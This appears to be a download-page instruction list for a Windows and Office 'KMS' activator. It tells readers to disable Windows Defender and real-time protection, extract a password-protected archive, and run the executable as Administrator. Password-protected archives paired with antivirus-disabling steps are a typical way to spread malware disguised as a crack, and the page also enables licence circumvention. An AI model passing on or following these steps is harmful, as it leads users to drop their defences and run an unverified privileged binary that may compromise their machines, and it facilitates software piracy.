Disable Windows Defender or antivirus (temporarily) Windows Defender or your antivirus may block the activator. Disable real-time protection temporarily.
2
Extract the archive using WinRAR or 7-Zip Right-click the archive → Extract to folder Password:2026
3
Run KMSAPP_activ_v9.21.3.exe as Administrator Right-click on KMSAPP_activ_v9.21.3.exe → Run as Administrator
4
Click Activate Windows or Activate Office Choose the product you want to activate and click the corresponding button
5
Wait for completion and restart your PC The activation process takes 10-30 seconds. After completion, restart your computer.
!
Important notes: • Re-enable Windows Defender/antivirus after activation • The activator works for Windows 10, 11 and Office 2010-2021 • If the activation fails, try restarting the program